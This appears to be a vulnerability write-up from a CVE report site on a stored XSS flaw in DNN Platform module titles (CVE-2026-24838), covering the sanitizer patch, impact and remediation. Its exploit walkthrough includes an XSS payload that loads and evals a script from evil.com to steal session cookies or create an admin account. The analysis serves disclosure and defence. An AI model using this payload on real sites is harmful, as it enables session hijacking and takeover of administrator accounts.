CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-24838

The Title That Stole Your Session: Deep Dive into CVE-2026-24838

Alon Barad
Alon Barad
Software Engineer

Jan 29, 2026·6 min read·69 visits

Executive Summary (TL;DR)

DNN Platform failed to sanitize HTML in Module Titles, allowing admins to plant Stored XSS payloads. This allows lower-privileged admins to hijack SuperUser sessions. Fixed in 9.13.10 and 10.2.0 via a new HtmlSanitizer integration.

A critical Stored Cross-Site Scripting (XSS) vulnerability exists in the DNN (DotNetNuke) Platform's module title rendering logic. By injecting malicious scripts into the 'Module Title' field, authenticated attackers with module-editing privileges can execute arbitrary JavaScript in the context of any user visiting the affected page, including SuperUsers. This vulnerability marks a classic failure of input sanitization in rich text environments.

The Hook: The Trusted User Fallacy

In the world of Content Management Systems (CMS), there is a dangerous assumption that often permeates the codebase: "If they have a username and password, surely they won't try to hack us." This is the Trusted User Fallacy, and it is exactly what CVE-2026-24838 exploits. DNN (formerly DotNetNuke) is built entirely around the concept of "Modules"—drag-and-drop functional blocks that make up a page. Each module has a title.

Historically, DNN has allowed module titles to be expressive. You want your title to be bold? Sure. Italic? Why not. The developers decided to render this property using RichText capabilities. However, allowing HTML in a title field is like handing a toddler a loaded gun because they promised to only shoot at the targets. Without strict, parser-based sanitization, that title field becomes a direct conduit to the Document Object Model (DOM) of every visitor.

The real kicker here isn't just that XSS is possible; it's where it's possible. Module titles are ubiquitous. They appear on the public site, but more importantly, they appear in the administrative overlays and control panels used by the highest-privileged users in the system (SuperUsers). If you can poison a title, you can hunt the admins.

The Flaw: Rendering Without Thinking

The root cause of this vulnerability lies deep within the skinning engine of DNN. When the CMS assembles a page, it iterates through modules and renders them into containers. The code responsible for displaying the ModuleInfo.ModuleTitle property effectively took the string from the database and dumped it into the HTML stream.

In .NET web forms terms, imagine assigning user input directly to a Literal.Text property or using <%= ModuleTitle %> without proper encoding. While the system likely had some basic filters for other inputs, the Module Title was seemingly overlooked or intentionally left open to support formatting. The flaw is a classic CWE-79: Improper Neutralization of Input During Web Page Generation.

The attacker needs "Module Edit" permissions. In a large enterprise deployment, this permission is often granted to marketing teams, junior content editors, or third-party contractors. By setting a module title to include a <script> tag, the attacker effectively modifies the source code of the page for anyone who views it. The server blindly trusts the stored content and serves it up, executing the payload immediately upon page load.

The Code: The Arrival of the Sanitizer

For years, developers tried to sanitize HTML using Regular Expressions. This is a fool's errand. You cannot parse a context-free grammar (like HTML) with regular expressions without eventually creating bypasses. The fix for CVE-2026-24838 is significant because it marks a shift in DNN's architecture: the integration of a real, parser-based sanitizer.

The patch introduces Ganss.Xss.HtmlSanitizer (which relies on AngleSharp) into Dnn.Platform. This is the industry standard for .NET HTML sanitization. Instead of guessing what looks like a script, it parses the HTML into a tree and removes nodes that aren't on an allowlist.

Here is the smoking gun—the code introduced in HtmlUtils.cs to kill the bug:

public static string CleanOutOfJavascript(string htmlInput)
{
    var sanitizer = new HtmlSanitizer();
 
    // Explicitly removing the dangerous bits
    sanitizer.AllowedAttributes.Remove("onclick");
    sanitizer.AllowedAttributes.Remove("onmouseover");
    // ... (other events removed)
 
    // Nuke the protocol handlers
    sanitizer.AllowedSchemes.Remove("javascript");
 
    // And obviously, the script tag itself
    sanitizer.AllowedTags.Remove("script");
 
    return sanitizer.Sanitize(htmlInput);
}

This method is now called before saving or rendering module titles. It doesn't just look for <script>; it looks for javascript: URIs in href attributes and event handlers like onload or onerror which are common XSS vectors.

The Exploit: Scripting the Title

Let's put on our black hats. We are a disgruntled content editor with access to update the "Announcements" module on the homepage. We want to compromise the SuperUser account to dump the entire user database.

Step 1: Preparation We craft a JavaScript payload designed to steal the session cookie or force a password reset. Because the payload needs to fit in a title field, we might use an external loader.

Step 2: Injection We navigate to the Module Settings. In the "Module Title" field, we input: <img src=x onerror="fetch('https://evil.com/hook.js').then(r=>r.text()).then(eval)">

Step 3: The Trap We save the module. The database now stores this string. The module title renders on the page, but the image fails to load (src=x), triggering the onerror event. The fetch command pulls our heavy payload from our C2 server and eval executes it.

Step 4: Execution When the SuperUser logs in to check the homepage, the script executes in their browser context. The script silently creates a new SuperUser account for us using DNN's API, or exfiltrates the ASP.NET_SessionId and .DOTNETNUKE auth cookies to our collector.

The Impact: Lateral Movement and Escalation

Why is this a CVSS 9.1? It requires high privileges, doesn't it? Yes, but in the context of a CMS, "High Privilege" is a spectrum. The vulnerability allows lateral movement from a "Content Admin" (who can only edit text) to a "Host/SuperUser" (who owns the server).

Once a SuperUser session is hijacked via this Stored XSS, the attacker has effectively bypassed all role-based access controls (RBAC). In DNN, a SuperUser can execute SQL queries directly via the "SQL Console" feature, upload arbitrary files via the "File Manager" (potentially leading to Remote Code Execution/RCE), and modify site settings to disable security features.

This is not just a defacement vulnerability; it is a full platform compromise vector. The persistence of the XSS (Stored) means the attack happens asynchronously; the attacker doesn't need to be online when the victim triggers the trap.

The Fix: Sanitation and Segregation

The remediation is straightforward but mandatory: Upgrade to DNN Platform 9.13.10 or 10.2.0. These versions force the new CleanOutOfJavascript method on module titles.

Post-patch, the developers also introduced granular settings: AllowJsInModuleHeaders and AllowJsInModuleFooters. This acknowledges that sometimes, you do want scripts, but it forces administrators to opt-in explicitly rather than allowing it by default in fields that shouldn't have it.

Defense in Depth: Administrators should also implement a strict Content Security Policy (CSP). A CSP header that disallows unsafe-inline and restricts script-src to trusted domains would have rendered this exploit inert, even before the code was patched. It is the seatbelt that saves you when the brakes (input validation) fail.

Official Patches

DNN SoftwareDNN Platform Release 10.2.0

Fix Analysis (1)

Technical Appendix

CVSS Score
9.1/ 10
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
EPSS Probability
0.04%
Top 87% most exploited

Affected Systems

DNN Platform

Affected Versions Detail

Product
Affected Versions
Fixed Version
DNN Platform
DNN Software
< 9.13.109.13.10
DNN Platform
DNN Software
>= 10.0.0 < 10.2.010.2.0
AttributeDetail
CWE IDCWE-79
Attack VectorNetwork
CVSS Score9.1 (Critical)
EPSS Score0.00044
PrivilegesHigh (Module Edit)
Exploit StatusPoC Available

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1059.007Command and Scripting Interpreter: JavaScript
Execution
T1550.002Use Alternate Authentication Material: Pass the Hash/Cookie
Lateral Movement
CWE-79
Stored Cross-Site Scripting

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Known Exploits & Detection

N/AVulnerability disclosed in GitHub Security Advisory

Vulnerability Timeline

Fix commit authored
2025-10-06
CVE Published
2026-01-27
NVD Record Published
2026-01-28

References & Sources

  • [1]GitHub Advisory: GHSA-w9pf-h6m6-v89h
  • [2]NVD - CVE-2026-24838

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 18 hours ago•CVE-2026-63462
7.5

CVE-2026-63462: Unauthenticated Stack Overflow Denial of Service in Unleash Server

An unauthenticated remote denial of service vulnerability exists in the Unleash feature management platform. By submitting a crafted JSON payload containing deeply nested structures to an OpenAPI-validated endpoint, an attacker can trigger uncontrolled recursion within the error formatting module. This leads to a call-stack exhaustion (RangeError: Maximum call stack size exceeded) inside the Node.js runtime, causing the service to crash immediately without recovery.

Alon Barad
Alon Barad
8 views•6 min read
•about 19 hours ago•CVE-2026-63004
5.5

CVE-2026-63004: Server-Side Request Forgery in Unleash Addon and Integration Subsystem

CVE-2026-63004 is a server-side request forgery (SSRF) vulnerability in the Unleash feature management platform. Authenticated administrators with CREATE_ADDON or UPDATE_ADDON privileges can exploit this vulnerability to initiate requests to loopback addresses, private networks, and cloud metadata endpoints, potentially leading to information disclosure and credential extraction.

Amit Schendel
Amit Schendel
7 views•8 min read
•about 20 hours ago•CVE-2026-63466
4.1

CVE-2026-63466: Process-Wide Security Degradation via Global Module Mutation in Unleash

Prior to version 8.0.3, Unleash's Markdown event formatter directly mutated the global template-escaping function of the shared mustache Node.js module, resulting in a process-wide security degradation where HTML/Markdown escaping was permanently disabled for the application lifetime.

Alon Barad
Alon Barad
3 views•6 min read
•about 21 hours ago•CVE-2026-76904
9.8

CVE-2026-76904: Unauthenticated SQL Injection in GeoTools PostGIS DataStore Component

A critical SQL injection vulnerability exists in the GeoTools open-source Java library. This vulnerability is situated within the post-processing phase of OGC Filter conversion inside the PostGIS DataStore module. Specifically, the `jsonArrayContains` function does not validate or sanitize its arguments before constructing PostgreSQL SQL/JSON path evaluation queries. An unauthenticated remote attacker can exploit this weakness by submitting crafted filters via standard OGC services like WFS or WMS to execute arbitrary SQL commands on the underlying database system.

Alon Barad
Alon Barad
8 views•5 min read
•about 22 hours ago•CVE-2026-61824
8.2

CVE-2026-61824: High-Severity Cross-Site Scripting (XSS) via Unsanitized Site Extractors in Defuddle

CVE-2026-61824 is a high-severity Cross-Site Scripting (XSS) vulnerability in kepano/defuddle before version 0.19.1. Custom site extractors for platforms such as X/Twitter, Substack, and YouTube constructed HTML representations via template string interpolation without output escaping. This allowed malicious pages to bypass standard parser sanitization routines and execute arbitrary JavaScript.

Amit Schendel
Amit Schendel
5 views•7 min read
•about 23 hours ago•CVE-2026-63421
7.5

CVE-2026-63421: Query Limit Bypass via Negative Integer Input in KeystoneJS core resolvers

A high-severity vulnerability exists in KeystoneJS, a popular Node.js CMS and GraphQL framework, where the query resolution engine fails to validate signed negative integers within the pagination subsystem. Unauthenticated remote attackers can leverage this flaw to bypass the 'graphql.maxTake' safety boundary. By sending large negative values in the 'take' query parameter, the underlying Prisma ORM interprets the value as an instruction to fetch rows from the end of the collection, allowing malicious actors to bypass pagination limits, trigger database resource exhaustion, and execute application-level Denial of Service (DoS) attacks.

Alon Barad
Alon Barad
5 views•6 min read